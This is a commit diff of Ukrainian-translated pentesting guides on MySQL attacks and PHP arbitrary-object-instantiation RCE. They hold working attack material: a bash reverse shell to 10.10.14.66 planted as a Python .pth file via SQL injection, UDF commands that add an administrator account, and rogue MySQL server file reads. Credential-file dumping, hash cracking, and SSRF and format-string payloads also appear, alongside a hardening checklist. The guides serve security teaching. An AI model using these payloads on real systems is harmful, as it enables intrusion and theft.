Translated ['', 'src/network-services-pentesting/pentesting-web/php-tric

This commit is contained in:
Translator 2025-09-03 19:08:59 +00:00
parent b2bd0492e8
commit dd8ec40487
6 changed files with 652 additions and 559 deletions

View File

@ -4,7 +4,7 @@
## **Основна інформація**
**MySQL** можна описати як безкоштовну **Систему управління реляційними базами даних (RDBMS)** з відкритим вихідним кодом. Вона працює на **Мові структурованих запитів (SQL)**, що дозволяє управляти та маніпулювати базами даних.
**MySQL** — це система з відкритим кодом для керування реляційними базами даних (**Relational Database Management System (RDBMS)**), яка доступна безкоштовно. Вона використовує **Structured Query Language (SQL)** для керування та маніпулювання базами даних.
**Порт за замовчуванням:** 3306
```
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## External Enumeration
Деякі дії з перерахунку вимагають дійсних облікових даних
Деякі enumeration дії вимагають дійсних облікових даних
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -34,9 +34,9 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Брутфорс**](../generic-hacking/brute-force.md#mysql)
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Записати будь-які бінарні дані
### Запис будь-яких бінарних даних
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### Перерахунок дозволів MySQL
### Перерахування дозволів MySQL
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
Ви можете побачити в документації значення кожного привілею: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
У документації можна побачити значення кожного привілею: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -110,60 +110,57 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (конфігураційні хуки, специфічні для сайту)
#### INTO OUTFILE → Python `.pth` RCE (специфічні для сайту хуки конфігурації)
Зловживаючи класичним примітивом `INTO OUTFILE`, можливо отримати *випадкове виконання коду* на цілях, які пізніше виконують **Python** скрипти.
Зловживаючи класичним примітивом `INTO OUTFILE`, можна отримати *виконання довільного коду* на цілях, які пізніше запускають **Python** скрипти.
1. Використовуйте `INTO OUTFILE`, щоб скинути користувацький **`.pth`** файл у будь-який каталог, що автоматично завантажується `site.py` (наприклад, `.../lib/python3.10/site-packages/`).
2. Файл `.pth` може містити *один рядок*, що починається з `import `, за яким слідує випадковий код Python, який буде виконуватись щоразу, коли запускається інтерпретатор.
3. Коли інтерпретатор неявно виконується CGI-скриптом (наприклад, `/cgi-bin/ml-draw.py` з shebang `#!/bin/python`), корисне навантаження виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb виконував його як **root** → повне попереднє автентифікаційне RCE).
1. Використайте `INTO OUTFILE`, щоб записати користувацький **`.pth`** файл у будь-який каталог, який автоматично підвантажується `site.py` (наприклад `.../lib/python3.10/site-packages/`).
2. Файл `.pth` може містити *один рядок*, що починається з `import `, після якого йде довільний Python код, який буде виконуватись при кожному запуску інтерпретатора.
3. Коли інтерпретатор неявно запускається CGI-скриптом (наприклад `/cgi-bin/ml-draw.py` із shebang `#!/bin/python`), payload виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb запускав його як **root** → повне pre-auth RCE).
Приклад корисного навантаження `.pth` (один рядок, пробіли не можуть бути включені в фінальне SQL навантаження, тому може знадобитися hex/`UNHEX()` або конкатенація рядків):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Приклад створення файлу за допомогою запиту **UNION** (символи пробілу замінені на `/**/`, щоб обійти фільтр пробілів `sscanf("%128s")` і зберегти загальну довжину ≤128 байт):
Приклад створення файлу через **UNION** query (пробіли замінено на `/**/`, щоб обійти фільтр пробілів `sscanf("%128s")` і зберегти загальну довжину ≤128 байтів):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Важливі обмеження та обходи:
Важливі обмеження та способи обходу:
* `INTO OUTFILE` **не може перезаписувати** існуючі файли; виберіть нове ім'я файлу.
* Шлях до файлу визначається **відносно CWD MySQL**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютного шляху.
* Якщо введення зловмисника витягується з `%128s` (або подібного), будь-який пробіл обірве корисне навантаження; використовуйте коментарі MySQL `/**/` або `/*!*/` для заміни пробілів.
* Користувач MySQL, який виконує запит, потребує привілею `FILE`, але в багатьох пристроях (наприклад, FortiWeb) служба працює як **root**, надаючи доступ на запис майже скрізь.
* `INTO OUTFILE` **не може перезаписувати** існуючі файли; оберіть нове ім'я файлу.
* Шлях до файлу вирішується **відносно MySQLs CWD**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютного шляху.
* Якщо введення атакуючого витягується з `%128s` (або подібним), будь-який пробіл призведе до усічення payload; використовуйте послідовності коментарів MySQL `/**/` або `/*!*/` замість пробілів.
* Користувачу MySQL, що виконує запит, потрібна привілея `FILE`, але в багатьох appliances (e.g. FortiWeb) сервіс запускається як **root**, що дає дозвіл на запис майже скрізь.
Після скидання `.pth` просто запитайте будь-який CGI, оброблений інтерпретатором python, щоб отримати виконання коду:
Після розміщення `.pth`, просто викличте будь-який CGI, що обробляється python interpreter, щоб отримати виконання коду:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python-процес автоматично імпортує шкідливий `.pth` і виконує оболонковий вантаж.
Процес Python автоматично імпортує шкідливий `.pth` і виконає shell payload.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrary read file by client
## MySQL довільне читання файлів клієнтом
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю**, **вміст файлу** MySQL або MariaDB сервер запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви можете підробити mysql клієнт, щоб підключитися до вашого власного MySQL сервера, ви можете читати довільні файли.**\
Насправді, коли ви намагаєтеся **load data local into a table**, сервер MySQL або MariaDB просить **клієнта прочитати** **content of a file** і надіслати його вміст. **Якщо ви зможете підробити mysql client, щоб він підключився до вашого власного MySQL server, ви зможете прочитати arbitrary files.**\
Зверніть увагу, що це поведінка при використанні:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Зверніть увагу на слово "local")\
Оскільки без "local" ви можете отримати:
(Зверніть увагу на слово "local")\ Оскільки без "local" ви можете отримати:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**У цій статті ви можете побачити повний опис атаки і навіть як розширити її до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Тут ви можете знайти огляд атаки:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**Початковий PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**У цій статті ви можете знайти повний опис атаки та навіть як розширити її до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Тут можна знайти огляд атаки:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -171,7 +168,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql User
### Користувач Mysql
Це буде дуже цікаво, якщо mysql працює як **root**:
```bash
@ -180,16 +177,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
```
#### Небезпечні налаштування mysqld.cnf
У конфігурації служб MySQL використовуються різні налаштування для визначення її роботи та заходів безпеки:
У конфігурації сервісів MySQL використовуються різні параметри для визначення їхньої роботи та заходів безпеки:
- Налаштування **`user`** використовується для призначення користувача, під яким буде виконуватися служба MySQL.
- **`password`** застосовується для встановлення пароля, пов'язаного з користувачем MySQL.
- **`admin_address`** вказує IP-адресу, яка слухає TCP/IP з'єднання на адміністративному мережевому інтерфейсі.
- Змінна **`debug`** вказує на поточні конфігурації налагодження, включаючи чутливу інформацію в журналах.
- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для операторів INSERT з одним рядком, коли виникають попередження, що містять чутливі дані в журналах.
- З **`secure_file_priv`** обсяг операцій імпорту та експорту даних обмежується для підвищення безпеки.
- Параметр **`user`** використовується для вказання користувача, під яким буде запущено сервіс MySQL.
- **`password`** використовується для встановлення пароля, пов'язаного з користувачем MySQL.
- **`admin_address`** вказує IP-адресу, яка слухає TCP/IP-з'єднання на адміністративному мережевому інтерфейсі.
- Змінна **`debug`** вказує на поточні налаштування дебагу, які можуть містити чутливу інформацію в логах.
- **`sql_warnings`** регулює, чи генеруються інформаційні рядки для одно-рядкових INSERT-запитів при появі попереджень, що також може призводити до включення чутливої інформації в логи.
- За допомогою **`secure_file_priv`** обмежується область операцій імпорту та експорту даних для підвищення безпеки.
### Підвищення привілеїв
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -209,16 +206,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Підвищення привілеїв через бібліотеку
Якщо **mysql сервер працює від імені root** (або іншого більш привілейованого користувача), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
Якщо **mysql server працює від імені root** (або іншого користувача з вищими привілеями), ви можете змусити його виконувати команди. Для цього потрібно використовувати **визначені користувачем функції**. А щоб створити таку функцію, вам потрібна **бібліотека** для ОС, на якій працює mysql.
Зловмисну бібліотеку можна знайти всередині sqlmap і metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** є **linux** бібліотеками, а **`.dll`** - це **Windows** бібліотеки, виберіть ту, яка вам потрібна.
Зловмисну бібліотеку можна знайти в sqlmap та metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** — це бібліотеки **linux**, а **`.dll`** — бібліотеки **Windows**; оберіть ту, яка вам потрібна.
Якщо у вас **немає** цих бібліотек, ви можете або **пошукати їх**, або завантажити цей [**linux C код**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його всередині вразливої linux машини**:
Якщо у вас **немає** цих бібліотек, ви можете або **пошукати їх**, або завантажити цей [**linux C code**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його на вразливій машині з linux**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Тепер, коли у вас є бібліотека, увійдіть у Mysql як привілейований користувач (root?) і дотримуйтесь наступних кроків:
Тепер, коли у вас є бібліотека, увійдіть у Mysql як привілейований користувач (root?) і виконайте наступні кроки:
#### Linux
```sql
@ -252,29 +249,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Витягування облікових даних MySQL з файлів
#### Порада для Windows: створення каталогів через NTFS ADS з SQL
Всередині _/etc/mysql/debian.cnf_ ви можете знайти **пароль у відкритому вигляді** користувача **debian-sys-maint**
У NTFS можна примусово створити каталог, використовуючи Alternate Data Stream (ADS), навіть якщо доступний лише примітив запису файлу. Якщо класичний ланцюжок UDF очікує директорію `plugin`, але її не існує, а `@@plugin_dir` невідомий або заблокований, ви можете створити її спочатку за допомогою `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Це перетворює обмежений `SELECT ... INTO OUTFILE` на більш повний примітив у Windows-стеках, створюючи необхідну структуру папок для UDF drops.
### Отримання облікових даних MySQL з файлів
У файлі _/etc/mysql/debian.cnf_ можна знайти **пароль у відкритому тексті** користувача **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Ви можете **використовувати ці облікові дані для входу в базу даних mysql**.
Ви можете **використати ці облікові дані для входу в базу даних mysql**.
У файлі: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
Всередині файлу: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які можна витягти з mysql.user всередині бази даних)_._
Ви можете витягти їх, виконавши:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Увімкнення журналювання
### Увімкнення логування
Ви можете увімкнути журналювання запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши наступні рядки:
Ви можете увімкнути логування запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши такі рядки:
![](<../images/image (899).png>)
### Корисні файли
Файли конфігурації
Configuration Files
- windows \*
- config.ini
@ -289,14 +295,14 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Історія команд
- Command History
- \~/.mysql.history
- Журнали
- Log Files
- connections.log
- update.log
- common.log
## За замовчуванням MySQL База даних/Таблиці
## Бази даних/таблиці MySQL за замовчуванням
{{#tabs}}
{{#tab name="information_schema"}}
@ -649,34 +655,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
```
## 2023-2025 Highlights (new)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
З Connector/J <= 8.0.32 зловмисник, який може вплинути на **JDBC URL** (наприклад, у сторонньому програмному забезпеченні, яке запитує рядок підключення), може запитати завантаження довільних класів на стороні *клієнта* через параметр `propertiesTransform`. Якщо гаджет, що присутній у class-path, може бути завантажений, це призводить до **віддаленого виконання коду в контексті JDBC клієнта** (попередня аутентифікація, оскільки дійсні облікові дані не потрібні). Мінімальний PoC виглядає так:
### JDBC `propertiesTransform` десеріалізація (CVE-2023-21971)
У Connector/J <= 8.0.32 зловмисник, який може вплинути на **JDBC URL** (наприклад у сторонньому програмному забезпеченні, що запитує рядок підключення), може вимагати завантаження довільних класів на стороні *клієнта* через параметр `propertiesTransform`. Якщо в class-path присутній придатний gadget і його можна завантажити, це призводить до **remote code execution in the context of the JDBC client** (pre-auth, оскільки не потрібні дійсні облікові дані). Мінімальний PoC виглядає так:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Запуск `Evil.class` може бути таким же простим, як розміщення його в клас-паті вразливої програми або дозволення зловмисному MySQL серверу надсилати шкідливий серіалізований об'єкт. Проблему було виправлено в Connector/J 8.0.33 оновіть драйвер або явно встановіть `propertiesTransform` у списку дозволених.
ив. опис Snyk для деталей)
Запуск `Evil.class` може бути таким же простим, як розмістити його в class-path вразливої програми або дозволити зловмисному MySQL серверу надіслати шкідливий серіалізований об'єкт. Проблему виправлено в Connector/J 8.0.33 оновіть драйвер або явно встановіть `propertiesTransform` у allow-list.
еталі див. у write-up Snyk)
### Атаки зловмисного / фальшивого MySQL сервера проти JDBC клієнтів
Кілька інструментів з відкритим кодом реалізують *частковий* протокол MySQL для атаки на JDBC клієнтів, які підключаються назовні:
### Rogue / Fake MySQL server атаки проти JDBC клієнтів
Кілька open-source інструментів реалізують *частковий* протокол MySQL, щоб атакувати JDBC клієнтів, які підключаються назовні:
* **mysql-fake-server** (Java, підтримує експлойти для читання файлів і десеріалізації)
* **rogue_mysql_server** (Python, подібні можливості)
* **mysql-fake-server** (Java, підтримує читання файлів та експлойти з десеріалізацією)
* **rogue_mysql_server** (Python, схожі можливості)
Типові шляхи атаки:
1. Програма-жертва завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`.
2. Зловмисник контролює DNS / запис хоста так, щоб ім'я хоста БД розв'язувалося на машину під їх контролем.
3. Шкідливий сервер відповідає створеними пакетами, які викликають або `LOCAL INFILE` довільне читання файлів, або десеріалізацію Java → RCE.
1. Додаток-жертва завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`.
2. Атакуючий контролює DNS / запис хоста, так що ім'я хоста БД розв'язується на машину під їхнім контролем.
3. Зловмисний сервер відповідає сформованими пакетами, які викликають або `LOCAL INFILE` для довільного читання файлів, або Java десеріалізацію → RCE.
Приклад однорядкового коду для запуску фальшивого сервера (Java):
Example one-liner to start a fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Потім вкажіть жертві додаток на `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у полі *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Потім направте додаток-жертву на `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у полі *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Злом хешів `caching_sha2_password`
MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (режим **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують офлайн злом з 2023 року. Вивантажте стовпець `authentication_string` і подайте його безпосередньо:
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (mode **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують offline cracking з 2023 року. Здампте колонку `authentication_string` і передайте її безпосередньо:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +691,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Hardening checklist (2025)
Встановіть **`LOCAL_INFILE=0`** та **`--secure-file-priv=/var/empty`**, щоб знищити більшість примітивів читання/запису файлів.
• Видаліть привілей **`FILE`** з облікових записів додатків.
У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (порожньо).
• Вимкніть невикористовувані плагіни аутентифікації та **вимагайте TLS** (`require_secure_transport = ON`).
Моніторте команди `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` та раптові команди `SET GLOBAL`.
### Контрольний список зміцнення безпеки (2025)
Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** to kill most file-read/write primitives.
• Видаліть привілей **`FILE`** з облікових записів додатків.
У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty).
• Вимкніть невикористовувані плагіни автентифікації і вимагайте TLS (`require_secure_transport = ON`).
Слідкуйте за `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` та раптовими `SET GLOBAL` запитами.
---
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
## Джерела
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# PHP - RCE зловживання створенням об'єктів: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE зловживання створенням об'єктів: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
Це, по суті, резюме [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Це, по суті, підсумок [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Вступ
Створення нових довільних об'єктів, таких як `new $_GET["a"]($_GET["a"])`, може призвести до віддаленого виконання коду (RCE), як детально описано в [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Цей документ підкреслює різні стратегії для досягнення RCE.
Створення нових довільних об'єктів, таких як `new $_GET["a"]($_GET["a"])`, може призвести до Remote Code Execution (RCE), як детально описано в [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Цей документ висвітлює різні стратегії досягнення RCE.
## RCE через користувацькі класи або автозавантаження
Синтаксис `new $a($b)` використовується для створення об'єкта, де **`$a`** представляє ім'я класу, а **`$b`** є першим аргументом, переданим конструктору. Ці змінні можуть бути отримані з введення користувача, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть представлятися як інші типи.
Синтаксис `new $a($b)` використовується для інстанціювання об'єкта, де **`$a`** представляє ім'я класу, а **`$b`** — перший аргумент, переданий конструктору. Ці змінні можуть надходити з введення користувача, наприклад GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть мати інші типи.
Розгляньте фрагмент коду нижче:
Розглянемо фрагмент коду нижче:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
У цьому випадку, встановлення `$a` на `App` або `App2` і `$b` на системну команду (наприклад, `uname -a`) призводить до виконання цієї команди.
У цьому випадку встановлення `$a` в `App` або `App2`, а `$b`у системну команду (наприклад, `uname -a`) призводить до виконання цієї команди.
**Функції автозавантаження** можуть бути використані, якщо такі класи не є безпосередньо доступними. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою `spl_autoload_register` або `__autoload`:
**Функції автозавантаження** можуть бути використані, якщо такі класи безпосередньо недоступні. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою `spl_autoload_register` або `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
Поведение автозавантаження варіюється в залежності від версій PHP, пропонуючи різні можливості RCE.
Поведінка автозавантаження змінюється залежно від версії PHP, що дає різні можливості для RCE.
## RCE через вбудовані класи
## RCE через вбудовані класи PHP
Відсутність користувацьких класів або автозавантажувачів, **вбудовані класи PHP** можуть бути достатніми для RCE. Кількість цих класів коливається від 100 до 200, залежно від версії PHP та розширень. Їх можна перерахувати за допомогою `get_declared_classes()`.
Якщо відсутні кастомні класи або автозавантажувачі, **вбудованих класів PHP** може бути достатньо для RCE. Кількість таких класів коливається від 100 до 200, залежно від версії PHP та встановлених розширень. Їх можна перелічити за допомогою `get_declared_classes()`.
Конструктори, що представляють інтерес, можна ідентифікувати через API рефлексії, як показано в наступному прикладі та за посиланням [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Конструктори, які становлять інтерес, можна визначити через Reflection API, як показано в наведеному прикладі та за посиланням [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE через специфічні методи включає:**
**RCE via specific methods includes:**
### **SSRF + Phar десеріалізація**
### **SSRF + Phar Deserialization**
Клас `SplFileObject` дозволяє SSRF через свій конструктор, що дозволяє підключення до будь-якого URL:
Клас `SplFileObject` дозволяє SSRF через свій конструктор, дозволяючи підключатися до будь-якого URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF може призвести до атак десеріалізації в версіях PHP до 8.0, використовуючи протокол Phar.
SSRF може призвести до атак десеріалізації в версіях PHP до 8.0 з використанням протоколу Phar.
### **Використання PDO**
### **Exploiting PDOs**
Конструктор класу PDO дозволяє підключення до баз даних через рядки DSN, що потенційно дозволяє створення файлів або інші взаємодії:
Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, потенційно дозволяючи створення файлів або інші взаємодії:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Версії PHP до 5.3.22 та 5.4.12 були вразливими до атак XXE через конструктори `SoapClient` та `SimpleXMLElement`, залежно від версії libxml2.
Версії PHP до 5.3.22 та 5.4.12 були вразливі до XXE-атак через конструктори `SoapClient` та `SimpleXMLElement`, залежно від версії libxml2.
## RCE через розширення Imagick
## RCE via Imagick Extension
В аналізі **залежностей проєкту** було виявлено, що **Imagick** може бути використаний для **виконання команд** шляхом створення нових об'єктів. Це створює можливість для експлуатації вразливостей.
Під час аналізу залежностей проєкту було виявлено, що `Imagick` можна використати для виконання команд шляхом створення нових об'єктів. Це створює можливість експлуатації вразливостей.
### VID парсер
### VID parser
Було виявлено, що можливість VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у каталозі, доступному через веб, що досягає віддаленого виконання коду (RCE).
Виявлено, що VID parser може записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення `PHP shell` у веб-доступній директорії й досягнення Remote Code Execution (RCE).
#### VID Parser + Завантаження файлів
#### VID Parser + File Upload
Зазначено, що PHP тимчасово зберігає завантажені файли в `/tmp/phpXXXXXX`. VID парсер в Imagick, використовуючи **msl** протокол, може обробляти шаблони в шляхах файлів, що полегшує передачу тимчасового файлу до вибраного місця. Цей метод пропонує додатковий підхід для досягнення довільного запису файлів у файловій системі.
Зауважимо, що PHP тимчасово зберігає завантажені файли у `/tmp/phpXXXXXX`. VID parser в `Imagick`, використовуючи протокол `msl`, може обробляти wildcard'и у шляхах до файлів, що дозволяє перемістити тимчасовий файл у вибране місце. Цей метод дає додатковий шлях для довільного запису файлів у файлову систему.
### PHP Збій + Брутфорс
### PHP Crash + Brute Force
Метод, описаний у [**оригінальному звіті**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), передбачає завантаження файлів, які викликають збій сервера перед видаленням. За допомогою брутфорсу імені тимчасового файлу, стає можливим для Imagick виконати довільний PHP код. Однак цей метод виявився ефективним лише в застарілій версії ImageMagick.
Метод, описаний у [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), пов'язаний із завантаженням файлів, які викликають крах сервера до їх видалення. Брутфорсом імені тимчасового файлу `Imagick` стає можливим виконати довільний PHP-код. Однак цей підхід виявився ефективним лише в застарілій версії `ImageMagick`.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Коли ім'я класу контролюється введенням користувача (наприклад, `new $_GET['model']()`), у PHP 7.0.0 під час рефакторингу `Throwable` з'явився тимчасовий баг, коли рушій помилково трактував ім'я класу як printf format string під час резолюції. Це дозволяє класичні printf-style примітиви всередині PHP: leaks з `%p`, контроль кількості записів через width specifiers, та довільні записи з `%n` по in-process вказівниках (наприклад, GOT entries у ELF-білдах).
Мінімальний патерн відтворення вразливості:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Схема експлуатації (з посилання):
- Leak адреси через `%p` у імені класу, щоб знайти записувану ціль:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
